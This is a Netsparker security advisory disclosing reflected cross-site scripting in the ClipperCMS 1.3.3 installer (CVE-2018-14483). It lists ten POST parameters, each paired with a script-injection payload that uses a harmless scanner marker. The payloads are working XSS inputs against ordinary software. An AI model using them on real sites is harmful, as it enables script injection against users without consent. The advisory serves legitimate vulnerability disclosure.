Information
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Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in ClipperCMS
Affected Software: ClipperCMS
Affected Versions: 1.3.3
Homepage: https://github.com/ClipperCMS/ClipperCMS
Vulnerability: Cross-site Scripting Vulnerabilities
Severity: High
Status: Not Fixed
CVE-ID: CVE-2018-14483
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-008

Technical Details - (Install Page)
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URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmspasswordconfirm
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F61)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmsadminemail
Parameter Type  POST
Attack Pattern &nbsp;'"--></style></scRipt><scRipt>netsparker(0x001F59)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  tableengine
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F65)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  phpdbapi
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F6D)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmsadmin
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F55)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  database_collation
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F69)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  tableprefix
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F51)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  databasehost
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001E83)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  cmspassword
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F5D)</scRipt>  

URL  http://app.scan/ScanApp/ClipperCMS-clipper_1.3.3/install/index.php?action=options
Parameter Name  database_name
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x001F4D)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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27th November 2017 - Issue Reported
11th September 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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